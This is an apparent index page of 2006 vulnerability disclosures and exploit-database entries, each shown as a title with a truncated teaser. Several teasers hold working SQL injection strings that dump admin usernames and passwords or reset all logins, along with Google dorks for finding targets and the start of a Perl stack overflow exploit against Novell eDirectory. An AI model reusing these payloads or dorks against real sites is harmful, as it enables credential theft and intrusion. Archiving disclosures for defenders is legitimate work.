[SECURITY] [DSA 1232-1] New clamav packages fix denial of service

-------------------------------------------------------------------------- Debian Security Advisory DSA 1232-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff December 9th, 2006 http://www.debian.org/security/faq -...

SpotLight CRM 1.0 - login.asp SQL Injection

SpotLight CRM 1.0 - login.asp SQL Injection Title : SpotLight CRM 1.0 login.asp | Remote SQL Injection Vulnerability Author : ajann Contact : : $$$ : $2,499 SQL http://target/path//login.asp=POST SQL Example: - All User UserName And Password Changed "kro" // login.asp UserName: ';update login set...

LS-20060908 - Computer Associates BrightStor ARCserve Backup v11.5 Remote Buffer Overflow Vulnerability

LS-20060908 LSsec has discovered a vulnerability in Computer Associates BrightStor ARCserve Backup v11.5, which could be exploited by an anonymous attacker in order to execute arbitrary code with SYSTEM privileges on an affected system. The flaw specifically exists within the Tape Engine...

WTcom <= 0.2.4-alpha (torrents.php) Remote SQL Injection Vulnerability

No description provided by source. WebTorrent WTcom Script = 0.2.4 ---------------------------------- Remote SQL Injection Every Username, Password and Email ---------------------------------- Author: sh1r081 sh1r081atgmail.com...

VUPlayer <= 2.44 m3u parsing remote buffer overflow

No description provided by source. / . \ \ \ \ | | / | | | | \ / / /\ \ / \ | | \ / | |/ | |/ / \ / \ | / \ // | Y / ^ /\ | //\ \ /| / / || /\ | \ | \ / / / / 30\11\06 / || / / mm. dM8 YMMMb. dMM8 YMMMMb dMMM' YMMMb dMMMP There are doors I have yet to open YMMM MMM' windows I have yet...

ZoneX 1.0.3 Publishers Gold Edition Remote File Inclusion Vulnerability

No description provided by source. ///////////////////CYBER-WARRiOR.ORG\\\\\\\\\\\ ZoneX 1.0.3 - Publishers Gold Edition Remote File Inclusion Vulnerability - Author: xoron - script: ZoneX 1.0.3 - Publishers Gold Edition - Class : Remote - cont@ct: x0r0nathotmaildotcom - CODE:...

Seditio <= 1.10 (pollid) Remote SQL Injection Vulnerability

Title : Seditio = 1.10 pollid Remote SQL Injection Vulnerability Author : ajann Contact : : Dork : "Powered by Seditio" SQL------------------------------------------------------ http://target/path/polls.php?id= Example: //...

Basic Forum <= 1.1 (edit.asp) Remote SQL Injection Vulnerability

No description provided by source. Title : basicforum v 1.1 edit.asp Remote SQL Injection Vulnerability Author : bolivar Dork : "This script created by www.script.canavari.com" ---------------------------------------------------------------------------...

Basic Forum 1.1 - 'edit.asp' SQL Injection

Title : basicforum v 1.1 edit.asp Remote SQL Injection Vulnerability Author : bolivar Dork : "This script created by www.script.canavari.com" ---------------------------------------------------------------------------...

fipsGallery <= 1.5 (index1.asp) Remote SQL Injection Vulnerability

No description provided by source. Title : fipsGallery = v1.5 index1.asp Remote SQL Injection Vulnerability Author : ajann Contact : : $$$ : 29 Euro http://target/path//index1.asp?what=artists&which=SQL Example:...

ASPNuke 0.80 - register.asp SQL Injection

ASPNuke 0.80 - register.asp SQL Injection Title : ASPNuke = 0.80 register.asp Remote SQL Injection Vulnerability Author : ajann S.Page : http://www.aspnuke.com D.Page : http://sourceforge.net/project/showfiles.php?groupid=92470...

dev_wms => 1.5 Remote File Include Vulnerabilities

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ DigitaL Hacking TeaM devwms =...

upublisher-10.txt

Title : UPublisher 1.0 viewarticle.asp Remote SQL Injection Vulnerability Author : ajann Dork : UPublisher http://target/path//viewarticle.asp?ID=SQL Example: //viewarticle.asp?ID=-1%20union%20select%200,password,username,0,0,0,0%20from%20tblusers OR ---...

PT-2006-1005 · Proftpd +1 · Proftpd +1

Name of the Vulnerable Software and Affected Versions: ProFTPD versions 1.3.0a and earlier Description: The issue is related to the improper setting of the buffer size limit when CommandBufferSize is specified in the configuration file, potentially leading to an off-by-two buffer underflow...

[Full-disclosure] [SECURITY] [DSA 1204-1] New ingo1 packages fix arbitrary shell command execution

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 1204-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff November 2nd, 2006 http://www.debian.org/security/faq -...

[SECURITY] [DSA 1201-1] New ethereal packages fix denial of service

-------------------------------------------------------------------------- Debian Security Advisory DSA 1201-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff October 31st, 2006 http://www.debian.org/security/faq -...

Techno Dreams Guestbook 1.0 - key SQL Injection

Techno Dreams Guestbook 1.0 - key SQL Injection Title : Techno Dreams Guestbook v1.0 guestbookview.asp Remote SQL Injection Vulnerability Author : ajann Script Page: http://www.t-dreams.com http://target/path/guestbookview.asp?key= SQL Example:...

Techno Dreams Guestbook 1.0 - 'key' SQL Injection

Title : Techno Dreams Guestbook v1.0 guestbookview.asp Remote SQL Injection Vulnerability Author : ajann Script Page: http://www.t-dreams.com http://target/path/guestbookview.asp?key= SQL Example: //guestbookview.asp?key=7782%20union%20select%200,0,adminname,password,0,0,0%20from%20admin...

Novell eDirectory 8.8 NDS Server Remote Stack Overflow Exploit

No description provided by source. !perl "Novell eDirectory 8.8 NDS Server" Remote Stack Overflow Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; destination IP address $ip = '192.168.1.25'; destination TCP port $port = 8028; RETurn address. 0x00, 0x0a, 0x0d,...

FtpXQ Server 3.01 - MKD Command Remote Overflow Denial of Service

// source: https://www.securityfocus.com/bid/20721/info DataWizard FtpXQ Server is prone to multiple remote vulnerabilities: - A remote denial-of-service issue occurs because the application fails to perform adequate bounds checks on user-supplied data before copying it to an insufficiently sized...